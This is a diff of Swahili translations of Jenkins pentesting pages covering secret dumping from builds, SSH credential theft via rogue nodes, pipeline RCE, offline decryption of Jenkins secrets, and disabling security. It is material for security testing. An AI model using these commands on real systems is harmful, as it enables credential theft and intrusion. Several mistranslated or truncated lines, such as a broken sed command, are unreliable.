kama GitHub au GitLab na **ufumbuzi wa CI** wa ndani, wa kujihifadhi kama Jenkins au TeamCity. Mpangilio huu unaruhusu mifumo ya CI **kupokea matukio ya webhook kutoka kwa wauzaji wa chanzo cha SaaS**, hasa kwa ajili ya kuanzisha kazi za pipeline. -Ili kufanikisha hili, mashirika **yanapitia** **mipangilio ya IP** ya **mifumo ya SCM**, ikiruhusu kufikia **mfumo wa CI wa ndani** kupitia **webhooks**. Hata hivyo, ni muhimu kutambua kwamba **mtu yeyote** anaweza kuunda **akaunti** kwenye GitHub au GitLab na kuikamilisha ili **kuanzisha webhook**, ambayo inaweza kutuma maombi kwa **mfumo wa CI wa ndani**. +Ili kufanikisha hili, mashirika **yanapitia** **mipango ya IP** ya **mifumo ya SCM**, ikiruhusu kufikia **mfumo wa CI wa ndani** kupitia **webhooks**. Hata hivyo, ni muhimu kutambua kwamba **mtu yeyote** anaweza kuunda **akaunti** kwenye GitHub au GitLab na kuikamilisha ili **kuanzisha webhook**, ambayo inaweza kutuma maombi kwa **mfumo wa CI wa ndani**. Angalia: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) @@ -85,25 +85,25 @@ Ikiwa umefikia Jenkins unaweza orodhesha watumiaji wengine waliojiandikisha kati ### Dumping builds to find cleartext secrets -Tumia [hii script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kutupa matokeo ya console ya ujenzi na mabadiliko ya mazingira ya ujenzi ili kutumaini kupata siri za wazi. +Tumia [hii script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kutupa matokeo ya console ya ujenzi na mabadiliko ya mazingira ya ujenzi ili kut hope kupata siri za wazi. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` -### **Kuhusisha Akiba za SSH** +### **Kuharibu Akiba za SSH** -Ikiwa mtumiaji aliyeathirika ana **mamlaka ya kutosha kuunda/kubadilisha nodi mpya ya Jenkins** na akiba za SSH tayari zimehifadhiwa ili kufikia nodi nyingine, anaweza **kuhusisha akiba hizo** kwa kuunda/kubadilisha nodi na **kuweka mwenyeji ambaye atarekodi akiba hizo** bila kuthibitisha funguo za mwenyeji: +Ikiwa mtumiaji aliyeathirika ana **mamlaka ya kutosha kuunda/kubadilisha node mpya ya Jenkins** na akiba za SSH tayari zimehifadhiwa ili kufikia nodi nyingine, anaweza **kuiba akiba hizo** kwa kuunda/kubadilisha node na **kuweka mwenyeji ambaye atarekodi akiba hizo** bila kuthibitisha funguo za mwenyeji: ![](<../../images/image (218).png>) -Kwa kawaida, utaweza kupata akiba za ssh za Jenkins katika **mtoa huduma wa kimataifa** (`/credentials/`), hivyo unaweza pia kuzitupa kama unavyotupa siri nyingine yoyote. Taarifa zaidi katika [**Sehemu ya Kutupa Siri**](./#dumping-secrets). +Kwa kawaida utapata akiba za ssh za Jenkins katika **mtoa huduma wa kimataifa** (`/credentials/`), hivyo unaweza pia kuzitupa kama unavyotupa siri nyingine yoyote. Taarifa zaidi katika [**Sehemu ya Kutupa siri**](./#dumping-secrets). ### **RCE katika Jenkins** -Kupata **shell katika seva ya Jenkins** inampa mshambuliaji fursa ya kuhusisha **siri** zote na **mabadiliko ya mazingira** na **kufanya kazi na mashine nyingine** zilizoko katika mtandao huo au hata **kusanya akiba za wingu**. +Kupata **shell katika seva ya Jenkins** inampa mshambuliaji fursa ya kuvuja **siri zote** na **mabadiliko ya env** na **kufanya mashambulizi kwenye mashine nyingine** zilizoko katika mtandao mmoja au hata **kusanya akiba za wingu**. -Kwa kawaida, Jenkins itakuwa **ikifanya kazi kama SYSTEM**. Hivyo, kuathiriwa kwake kutampa mshambuliaji **mamlaka ya SYSTEM**. +Kwa kawaida, Jenkins itakuwa **inaendesha kama SYSTEM**. Hivyo, kuathiriwa kwake kutampa mshambuliaji **mamlaka ya SYSTEM**. ### **RCE Kuunda/Kubadilisha mradi** @@ -135,31 +135,31 @@ Ili kutumia pipelines bado unahitaji kuwa na ufikiaji wa Jenkins. ### Kujenga Pipelines -**Pipelines** zinaweza pia kutumika kama **mekanismu ya kujenga katika miradi**, katika kesi hiyo inaweza kuwekewa **faili ndani ya hazina** ambayo itakuwa na sintaksia ya pipeline. Kwa kawaida `/Jenkinsfile` inatumika: +**Pipelines** zinaweza pia kutumika kama **mekanismu ya kujenga katika miradi**, katika kesi hiyo inaweza kuundwa **faili ndani ya hazina** ambayo itakuwa na sintaksia ya pipeline. Kwa kawaida `/Jenkinsfile` inatumika: ![](<../../images/image (127).png>) -Pia inawezekana **kuhifadhi faili za usanidi wa pipeline mahali pengine** (katika hazina nyingine kwa mfano) kwa lengo la **kutenganisha** ufikiaji wa hazina na ufikiaji wa pipeline. +Pia inawezekana **hifadhi faili za usanidi wa pipeline mahali pengine** (katika hazina nyingine kwa mfano) kwa lengo la **kutenganisha** ufikiaji wa hazina na ufikiaji wa pipeline. Ikiwa mshambuliaji ana **ufikiaji wa kuandika juu ya faili hiyo** atakuwa na uwezo wa **kuyabadilisha** na **kuzindua** pipeline bila hata kuwa na ufikiaji wa Jenkins.\ -Inawezekana kwamba mshambuliaji atahitaji **kuzidi baadhi ya ulinzi wa tawi** (kulingana na jukwaa na mamlaka za mtumiaji wanaweza kuzidiwa au la). +Inawezekana kwamba mshambuliaji atahitaji **kupita baadhi ya ulinzi wa tawi** (kutegemea jukwaa na mamlaka za mtumiaji wanaweza kupitishwa au la). Vichocheo vya kawaida vya kutekeleza pipeline ya kawaida ni: - **Ombi la kuvuta** kwenye tawi kuu (au labda kwenye matawi mengine) - **Kusukuma kwenye tawi kuu** (au labda kwenye matawi mengine) -- **Kusasisha tawi kuu** na kusubiri hadi itekelezwe kwa namna fulani +- **Sasisha tawi kuu** na kusubiri hadi itekelezwe kwa namna fulani > [!NOTE] -> Ikiwa wewe ni **mtumiaji wa nje** huwezi kutarajia kuunda **PR kwenye tawi kuu** la hazina ya **mtumiaji/taasisi nyingine** na **kuzindua pipeline**... lakini ikiwa ime **pangwa vibaya** unaweza kabisa **kuathiri kampuni kwa kutumia hili**. +> Ikiwa wewe ni **mtumiaji wa nje** huwezi kutarajia kuunda **PR kwa tawi kuu** la hazina ya **mtumiaji/taasisi nyingine** na **kuzindua pipeline**... lakini ikiwa ime **pangwa vibaya** unaweza kabisa **kuathiri kampuni kwa kutumia hili**. ### RCE ya Pipeline Katika sehemu ya awali ya RCE tayari ilionyeshwa mbinu ya [**kupata RCE kwa kubadilisha pipeline**](./#rce-creating-modifying-pipeline). -### Kuangalia Mabadiliko ya Mazingira +### Kuangalia Mabadiliko ya env -Inawezekana kutangaza **mabadiliko ya mazingira ya maandiko wazi** kwa pipeline nzima au kwa hatua maalum. Mabadiliko haya ya mazingira **hayapaswi kuwa na taarifa nyeti**, lakini mshambuliaji anaweza kila wakati **kuangalia usanidi wote wa pipeline**/Jenkinsfiles: +Inawezekana kutangaza **mabadiliko ya env ya maandiko wazi** kwa pipeline nzima au kwa hatua maalum. Mabadiliko haya ya env **hayapaswi kuwa na taarifa nyeti**, lakini mshambuliaji anaweza kila wakati **kuangalia usanidi wote wa pipeline**/Jenkinsfiles: ```bash pipeline { agent {label 'built-in'} @@ -174,7 +174,7 @@ STAGE_ENV_VAR = "Test stage ENV variables." } steps { ``` -### Dumping secrets +### Kutolewa kwa siri Kwa maelezo kuhusu jinsi siri zinavyoshughulikiwa na Jenkins angalia taarifa za msingi: @@ -182,13 +182,13 @@ Kwa maelezo kuhusu jinsi siri zinavyoshughulikiwa na Jenkins angalia taarifa za basic-jenkins-information.md {{#endref}} -Akreditivu zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) au kwa **miradi maalum** (`/job//configure`). Hivyo, ili kuhamasisha zote unahitaji **kuathiri angalau miradi yote** ambayo ina siri na kutekeleza pipelines za kawaida/za sumu. +Akreditivu zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) au kwa **miradi maalum** (`/job//configure`). Hivyo, ili kutoa siri zote unahitaji **kushambulia angalau miradi yote** ambayo ina siri na kutekeleza mipangilio ya kawaida/iliyoshambuliwa. -Kuna tatizo lingine, ili kupata **siri ndani ya env** ya pipeline unahitaji **kujua jina na aina ya siri**. Kwa mfano, unajaribu **kuchaji** **`usernamePassword`** **siri** kama **`string`** **siri** utapata **kosa** hili: +Kuna tatizo lingine, ili kupata **siri ndani ya env** ya mpangilio unahitaji **kujua jina na aina ya siri**. Kwa mfano, unajaribu **kuchota** **`usernamePassword`** **siri** kama **`string`** **siri** utapata **kosa** hili: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` -Hapa kuna njia ya kupakia aina kadhaa za siri za kawaida: +Hapa kuna njia ya kupakia aina fulani za siri za kawaida: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { sh ''' @@ -216,46 +216,46 @@ env ''' } ``` -Katika mwisho wa ukurasa huu unaweza **kupata aina zote za akreditivu**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +Mwisho wa ukurasa huu unaweza **kupata aina zote za hati**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> Njia bora ya **kutoa siri zote kwa wakati mmoja** ni kwa **kuathiri** mashine ya **Jenkins** (kufanya kazi na shell ya nyuma katika **node iliyo ndani** kwa mfano) na kisha **kuvuja** **funguo za mkuu** na **siri zilizofichwa** na kuzifungua bila mtandao.\ +> Njia bora ya **kutoa siri zote kwa wakati mmoja** ni kwa **kuathiri** mashine ya **Jenkins** (kufanya kazi na shell ya nyuma katika **node iliyo ndani** kwa mfano) na kisha **kuvuja** **funguo kuu** na **siri zilizofichwa** na kuzifungua bila mtandao.\ > Zaidi kuhusu jinsi ya kufanya hivi katika [sehemu ya Nodes & Agents](./#nodes-and-agents) na katika [sehemu ya Post Exploitation](./#post-exploitation). -### Triggers +### Vichocheo -Kutoka [nyaraka](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Mwelekeo wa `triggers` unafafanua **njia za kiotomatiki ambazo Pipeline inapaswa kuanzishwa tena**. Kwa Pipelines ambazo zimeunganishwa na chanzo kama GitHub au BitBucket, `triggers` huenda zisihitajike kwani uunganisho wa msingi wa webhooks tayari utakuwepo. Triggers zinazopatikana kwa sasa ni `cron`, `pollSCM` na `upstream`. +Kutoka [nyaraka](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Maagizo ya `triggers` yanafafanua **njia za kiotomatiki ambazo Pipeline inapaswa kuanzishwa tena**. Kwa Pipelines ambazo zimeunganishwa na chanzo kama GitHub au BitBucket, `triggers` huenda zisihitajike kwani uunganisho wa msingi wa webhooks tayari utakuwepo. Vichocheo vilivyopo kwa sasa ni `cron`, `pollSCM` na `upstream`. Mfano wa Cron: ```bash triggers { cron('H */4 * * 1-5') } ``` -Check **other examples in the docs**. +Angalia **esempu nyingine katika hati**. ### Nodes & Agents -A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines. +**Jenkins instance** inaweza kuwa na **wakala tofauti wakifanya kazi kwenye mashine tofauti**. Kutoka kwa mtazamo wa mshambuliaji, ufikiaji wa mashine tofauti unamaanisha **akili tofauti za wingu** za kuiba au **ufikiaji tofauti wa mtandao** ambao unaweza kutumika vibaya kuendeleza mashine nyingine. -For more information check the basic information: +Kwa maelezo zaidi angalia taarifa za msingi: {{#ref}} basic-jenkins-information.md {{#endref}} -You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more: +Unaweza kuhesabu **nodes zilizowekwa** katika `/computer/`, kwa kawaida utapata \*\*`Built-In Node` \*\* (ambayo ni node inayokimbia Jenkins) na labda zaidi: ![](<../../images/image (249).png>) -It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information. +Ni **ya kuvutia sana kukiuka Built-In node** kwa sababu ina taarifa nyeti za Jenkins. -To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: +Ili kuonyesha unataka **kuendesha** **pipeline** katika **built-in Jenkins node** unaweza kubainisha ndani ya pipeline usanidi ufuatao: ```bash pipeline { agent {label 'built-in'} ``` ### Mfano kamili -Pipeline katika wakala maalum, na kichocheo cha cron, na pipeline na hatua za mazingira, ikipakia mabadiliko 2 katika hatua na kutuma shell ya kinyume: +Pipeline katika wakala maalum, na kichocheo cha cron, na mabadiliko ya pipeline na hatua, ikipakia mabadiliko 2 katika hatua na kutuma shell ya kinyume: ```bash pipeline { agent {label 'built-in'} @@ -314,19 +314,19 @@ msf> post/multi/gather/jenkins_gather ``` ### Jenkins Secrets -Unaweza kuorodhesha siri kwa kufikia `/credentials/` ikiwa una ruhusa za kutosha. Kumbuka kwamba hii itataja tu siri zilizo ndani ya faili `credentials.xml`, lakini **faili za usanidi wa ujenzi** zinaweza pia kuwa na **siri zaidi**. +Unaweza kuorodhesha siri kwa kufikia `/credentials/` ikiwa una ruhusa za kutosha. Kumbuka kwamba hii itataja tu siri zilizo ndani ya faili `credentials.xml`, lakini **faili za usanidi wa kujenga** zinaweza pia kuwa na **siri zaidi**. Ikiwa unaweza **kuona usanidi wa kila mradi**, unaweza pia kuona huko **majina ya siri (credentials)** yanayotumika kufikia hifadhi na **siri nyingine za mradi**. ![](<../../images/image (180).png>) -#### From Groovy +#### Kutoka Groovy {{#ref}} jenkins-dumping-secrets-from-groovy.md {{#endref}} -#### From disk +#### Kutoka diski Faili hizi zinahitajika ili **kufichua siri za Jenkins**: @@ -349,9 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` -#### Decrypt Jenkins secrets offline +#### Fichua siri za Jenkins bila mtandao -Ikiwa umepata **neno la siri zinazohitajika kufungua siri hizo**, tumia [**hii script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **kufungua siri hizo**. +Ikiwa umepata **nenosiri muhimu ya kufichua siri**, tumia [**hii script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **kufichua hizo siri**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -359,7 +359,7 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` -#### Tafsiri siri za Jenkins kutoka Groovy +#### Fichua siri za Jenkins kutoka Groovy ```bash println(hudson.util.Secret.decrypt("{...}")) ``` @@ -369,8 +369,8 @@ println(hudson.util.Secret.decrypt("{...}")) 2. Tafuta neno `true` na badilisha neno **`true`** kuwa **`false`**. 1. `sed -i -e 's/truefalsetrue` na **restart Jenkins tena**. +4. Sasa nenda kwenye lango la Jenkins tena na **Jenkins haitakuuliza taarifa zozote za kuingia** wakati huu. Tembelea "**Manage Jenkins**" kuweka **nenosiri la msimamizi tena**. +5. **Wezesha** **usalama** tena kwa kubadilisha mipangilio kuwa `true` na **restart Jenkins tena**. ## Marejeleo diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index f4b98938f..e054e60c1 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -1,20 +1,20 @@ -# Basic Jenkins Information +# Msingi wa Taarifa za Jenkins {{#include ../../banners/hacktricks-training.md}} -## Access +## Ufikiaji -### Username + Password +### Jina la mtumiaji + Nenosiri Njia ya kawaida zaidi ya kuingia kwenye Jenkins ni kwa kutumia jina la mtumiaji au nenosiri. -### Cookie +### Keki -Ikiwa **cookie iliyoidhinishwa inapatikana**, inaweza kutumika kufikia kikao cha mtumiaji. Cookie hiyo kwa kawaida inaitwa `JSESSIONID.*`. (Mtumiaji anaweza kumaliza vikao vyake vyote, lakini itabidi ajue kwanza kwamba cookie ilipatikana). +Ikiwa **keki iliyoidhinishwa inapatikana**, inaweza kutumika kufikia kikao cha mtumiaji. Keki hiyo kwa kawaida inaitwa `JSESSIONID.*`. (Mtumiaji anaweza kumaliza vikao vyake vyote, lakini itabidi ajue kwanza kwamba keki ilipatikana). -### SSO/Plugins +### SSO/Vyombo vya kazi -Jenkins inaweza kuundwa kwa kutumia plugins ili iweze **kupatikana kupitia SSO ya upande wa tatu**. +Jenkins inaweza kuundwa kwa kutumia vyombo vya kazi ili iweze **kupatikana kupitia SSO ya upande wa tatu**. ### Tokens @@ -24,64 +24,64 @@ Jenkins inaweza kuundwa kwa kutumia plugins ili iweze **kupatikana kupitia SSO y Kipengele hiki kinatoa seva ya SSH iliyojengwa ndani kwa Jenkins. Ni kiolesura mbadala kwa [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), na amri zinaweza kutolewa kwa njia hii kwa kutumia mteja yeyote wa SSH. (Kutoka kwenye [docs](https://plugins.jenkins.io/sshd/)) -## Authorization +## **Uidhinishaji** -Katika `/configureSecurity` inawezekana **kuunda njia ya kuidhinisha ya Jenkins**. Kuna chaguzi kadhaa: +Katika `/configureSecurity` inawezekana **kuunda njia ya uidhinishaji ya Jenkins**. Kuna chaguzi kadhaa: - **Mtu yeyote anaweza kufanya chochote**: Hata ufikiaji wa kutokuwa na jina unaweza kusimamia seva. -- **Hali ya urithi**: Sawasawa na Jenkins <1.164. Ikiwa una **"nafasi ya admin"**, utapewa **udhibiti kamili** juu ya mfumo, na **vinginevyo** (ikiwemo **watumiaji wasiojulikana**) utakuwa na **ufikiaji wa kusoma**. +- **Njia ya zamani**: Sawasawa na Jenkins <1.164. Ikiwa una **"nafasi ya admin"**, utapewa **udhibiti kamili** juu ya mfumo, na **vinginevyo** (ikiwemo **watumiaji wasiojulikana**) utakuwa na **ufikiaji wa kusoma**. - **Watumiaji walioingia wanaweza kufanya chochote**: Katika hali hii, kila **mtumiaji aliyeingia anapata udhibiti kamili** wa Jenkins. Mtumiaji pekee ambaye hatakuwa na udhibiti kamili ni **mtumiaji asiyejulikana**, ambaye anapata tu **ufikiaji wa kusoma**. - **Usalama wa msingi wa Matrix**: Unaweza kuunda **nani anaweza kufanya nini** katika jedwali. Kila **safu** inawakilisha **idhini**. Kila **mstari** **unawakilisha** **mtumiaji au kundi/nafasi.** Hii inajumuisha mtumiaji maalum '**asiyejulikana**', ambaye anawakilisha **watumiaji wasio na uthibitisho**, pamoja na '**uthibitishwa**', ambaye anawakilisha **watumiaji wote walio na uthibitisho**. ![](<../../images/image (149).png>) -- **Mkakati wa Uidhinishaji wa Msingi wa Mradi:** Hali hii ni **nyongeza** kwa "**Usalama wa msingi wa Matrix**" inayoruhusu ACL ya ziada kuundwa **kwa kila mradi tofauti.** -- **Mkakati wa Kazi:** Inaruhusu kuunda idhini kwa kutumia **mkakati wa kazi**. Simamia nafasi katika `/role-strategy`. +- **Mkakati wa Uidhinishaji wa Msingi wa Mradi:** Njia hii ni **nyongeza** kwa "**Usalama wa msingi wa Matrix**" inayoruhusu ACL ya ziada kuundwa **kwa kila mradi tofauti.** +- **Mkakati wa Kazi:** Inaruhusu kuunda uidhinishaji kwa kutumia **mkakati wa kazi**. Simamia nafasi katika `/role-strategy`. -## **Security Realm** +## **Ufalme wa Usalama** -Katika `/configureSecurity` inawezekana **kuunda eneo la usalama.** Kwa kawaida Jenkins inajumuisha msaada wa maeneo kadhaa tofauti ya Usalama: +Katika `/configureSecurity` inawezekana **kuunda ufalme wa usalama.** Kwa kawaida Jenkins inajumuisha msaada wa Ufalme wa Usalama kadhaa tofauti: -- **Delegates kwa kontena la servlet**: Kwa **kuhamasisha uthibitisho kwa kontena la servlet linaloendesha Jenkins controller**, kama [Jetty](https://www.eclipse.org/jetty/). +- **Delegati kwa kontena la servlet**: Kwa **kuhamasisha uthibitisho kwa kontena la servlet linaloendesha Jenkins controller**, kama [Jetty](https://www.eclipse.org/jetty/). - **Hifadhidata ya mtumiaji ya Jenkins:** Tumia **hifadhidata ya mtumiaji iliyojengwa ndani ya Jenkins** kwa uthibitisho badala ya kuhamasisha kwa mfumo wa nje. Hii imewezeshwa kwa kawaida. - **LDAP**: Hamisha uthibitisho wote kwa seva ya LDAP iliyowekwa, ikiwa ni pamoja na watumiaji na makundi. -- **Hifadhidata ya mtumiaji/kundi ya Unix**: **Inahamisha uthibitisho kwa hifadhidata ya mtumiaji ya Unix** kwenye Jenkins controller. Hali hii pia itaruhusu matumizi ya makundi ya Unix kwa idhini. +- **Hifadhidata ya mtumiaji/kundi la Unix**: **Huhamisha uthibitisho kwa hifadhidata ya mtumiaji ya kiwango cha Unix** kwenye Jenkins controller. Njia hii pia itaruhusu matumizi ya makundi ya Unix kwa uidhinishaji. -Plugins zinaweza kutoa maeneo ya usalama ya ziada ambayo yanaweza kuwa muhimu kwa kuingiza Jenkins katika mifumo ya utambulisho iliyopo, kama vile: +Vyombo vya kazi vinaweza kutoa ufalme wa usalama wa ziada ambao unaweza kuwa muhimu kwa kuingiza Jenkins katika mifumo ya utambulisho iliyopo, kama vile: - [Active Directory](https://plugins.jenkins.io/active-directory) - [GitHub Authentication](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) -## Jenkins Nodes, Agents & Executors +## Nodes, Wakala & Watekelezaji wa Jenkins M definitions kutoka kwenye [docs](https://www.jenkins.io/doc/book/managing/nodes/): -**Nodes** ni **mashine** ambazo **wakala wa kujenga** zinaendesha. Jenkins inafuatilia kila node iliyoambatanishwa kwa ajili ya nafasi ya diski, nafasi ya muda ya bure, kubadilishana bure, muda wa saa/sawazisha na muda wa majibu. Node inachukuliwa kuwa nje ya mtandao ikiwa mojawapo ya hizi thamani inatoka nje ya kigezo kilichowekwa. +**Nodes** ni **mashine** ambazo wakala wa ujenzi **wanakimbia**. Jenkins inafuatilia kila node iliyoambatanishwa kwa ajili ya nafasi ya diski, nafasi ya muda ya bure, kubadilishana bure, muda wa saa/sawazisha na muda wa majibu. Node inachukuliwa kuwa nje ya mtandao ikiwa mojawapo ya hizi thamani inatoka nje ya kigezo kilichowekwa. -**Agents** **wanasimamia** **utendaji wa kazi** kwa niaba ya Jenkins controller kwa **kutumia waendeshaji**. Wakala anaweza kutumia mfumo wowote wa uendeshaji unaounga mkono Java. Zana zinazohitajika kwa ajili ya kujenga na majaribio zimewekwa kwenye node ambapo wakala anafanya kazi; zinaweza **kuwekwa moja kwa moja au kwenye kontena** (Docker au Kubernetes). Kila **wakala kwa ufanisi ni mchakato wenye PID yake mwenyewe** kwenye mashine mwenyeji. +**Wakala** **wanasimamia** **utendaji wa kazi** kwa niaba ya Jenkins controller kwa **kutumia watekelezaji**. Wakala anaweza kutumia mfumo wowote wa uendeshaji unaounga mkono Java. Zana zinazohitajika kwa ajili ya ujenzi na majaribio zimewekwa kwenye node ambapo wakala anafanya kazi; zinaweza **kuwekwa moja kwa moja au kwenye kontena** (Docker au Kubernetes). Kila **wakala kwa ufanisi ni mchakato wenye PID yake** kwenye mashine mwenyeji. -**Executor** ni **nafasi ya utekelezaji wa kazi**; kwa ufanisi, ni **thread katika wakala**. **Idadi ya waendeshaji** kwenye node inafafanua idadi ya **kazi zinazoweza kufanyika kwa wakati mmoja** kwenye node hiyo. Kwa maneno mengine, hii inamua **idadi ya hatua za Pipeline `stages`** zinazoweza kutekelezwa kwenye node hiyo kwa wakati mmoja. +**Mtekelezaji** ni **nafasi ya kutekeleza kazi**; kwa ufanisi, ni **thread katika wakala**. **Idadi ya watekelezaji** kwenye node inafafanua idadi ya **kazi zinazoweza kutekelezwa kwa wakati mmoja** kwenye node hiyo. Kwa maneno mengine, hii inamua **idadi ya hatua za Pipeline `stages`** zinazoweza kutekelezwa kwenye node hiyo kwa wakati mmoja. -## Jenkins Secrets +## Siri za Jenkins -### Encryption of Secrets and Credentials +### Ulinzi wa Siri na Hati -M definition kutoka kwenye [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins inatumia **AES kuandika na kulinda siri**, akidi, na funguo zao za uandishi. Funguo hizi za uandishi zimehifadhiwa katika `$JENKINS_HOME/secrets/` pamoja na funguo kuu inayotumika kulinda funguo hizo. Hii directory inapaswa kuundwa ili tu mtumiaji wa mfumo wa uendeshaji ambaye Jenkins controller inafanya kazi kama awe na ufikiaji wa kusoma na kuandika kwenye directory hii (yaani, thamani ya `chmod` ya `0700` au kutumia sifa sahihi za faili). **Funguo kuu** (wakati mwingine inaitwa "funguo ya uandishi wa funguo" katika cryptojargon) inahifadhiwa \_bila kuandikwa\_ kwenye mfumo wa faili wa Jenkins controller katika **`$JENKINS_HOME/secrets/master.key`** ambayo haiwezi kulinda dhidi ya washambuliaji wenye ufikiaji wa moja kwa moja kwa faili hiyo. Watumiaji wengi na wabunifu watatumia funguo hizi za uandishi kwa njia isiyo ya moja kwa moja kupitia ama [Secret](https://javadoc.jenkins.io/byShortName/Secret) API kwa kuandika data ya siri ya kawaida au kupitia API ya akidi. Kwa wale wanaopenda cryptography, Jenkins inatumia AES katika hali ya kuandika block chaining (CBC) na PKCS#5 padding na IV za nasibu kuandika matukio ya [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) ambayo yanahifadhiwa katika `$JENKINS_HOME/secrets/` kwa jina la faili linalolingana na `CryptoConfidentialKey` id yao. Idadi za kawaida za funguo ni pamoja na: +M definition kutoka kwenye [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins inatumia **AES kulinda na kulinda siri**, hati, na funguo zao za ulinzi. Funguo hizi za ulinzi zimehifadhiwa katika `$JENKINS_HOME/secrets/` pamoja na funguo kuu inayotumika kulinda funguo hizo. Hii directory inapaswa kuundwa ili tu mtumiaji wa mfumo wa uendeshaji ambaye Jenkins controller inakimbia kama awe na ufikiaji wa kusoma na kuandika kwenye directory hii (yaani, thamani ya `chmod` ya `0700` au kutumia sifa sahihi za faili). **Funguo kuu** (wakati mwingine inaitwa "funguo ya ulinzi wa funguo" katika cryptojargon) inahifadhiwa \_bila kulindwa\_ kwenye mfumo wa faili wa Jenkins controller katika **`$JENKINS_HOME/secrets/master.key`** ambayo haiwezi kulinda dhidi ya washambuliaji wenye ufikiaji wa moja kwa moja kwa faili hiyo. Watumiaji wengi na waendelezaji watatumia funguo hizi za ulinzi kwa njia isiyo ya moja kwa moja kupitia ama [Secret](https://javadoc.jenkins.io/byShortName/Secret) API kwa kulinda data ya siri ya kawaida au kupitia API ya hati. Kwa wale wanaopenda cryptography, Jenkins inatumia AES katika hali ya kuzuia block (CBC) na padding ya PKCS#5 na IV za nasibu kulinda matukio ya [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) ambayo yanahifadhiwa katika `$JENKINS_HOME/secrets/` kwa jina la faili linalolingana na `CryptoConfidentialKey` id yao. Idadi za kawaida za funguo ni pamoja na: - `hudson.util.Secret`: inatumika kwa siri za kawaida; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: inatumika kwa aina fulani za akidi; -- `jenkins.model.Jenkins.crumbSalt`: inatumika na [mekanism ya ulinzi wa CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); na +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: inatumika kwa aina fulani za hati; +- `jenkins.model.Jenkins.crumbSalt`: inatumika na [mekanismu ya ulinzi wa CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); na -### Credentials Access +### Ufikiaji wa Hati -Akidi zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) ambazo zinaweza kufikiwa na mradi wowote ulioandaliwa, au zinaweza kuwekwa kwa **miradi maalum** (`/job//configure`) na hivyo kufikiwa tu kutoka mradi maalum. +Hati zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) ambazo zinaweza kufikiwa na mradi wowote ulioandaliwa, au zinaweza kuwekwa kwa **miradi maalum** (`/job//configure`) na hivyo kuwa na ufikiaji kutoka mradi maalum tu. -Kulingana na [**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Akidi ambazo ziko katika upeo zinapatikana kwa pipeline bila kikomo. Ili **kuzuia kufichuliwa kwa bahati mbaya katika kumbukumbu ya kujenga**, akidi zime **fichwa** kutoka kwa matokeo ya kawaida, hivyo mwito wa `env` (Linux) au `set` (Windows), au programu zinazochapisha mazingira yao au vigezo hazitafichua katika kumbukumbu ya kujenga** kwa watumiaji ambao vinginevyo hawangeweza kupata akidi hizo. +Kulingana na [**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Hati ambazo ziko katika upeo zinapatikana kwa pipeline bila kikomo. Ili **kuzuia kufichuliwa kwa bahati 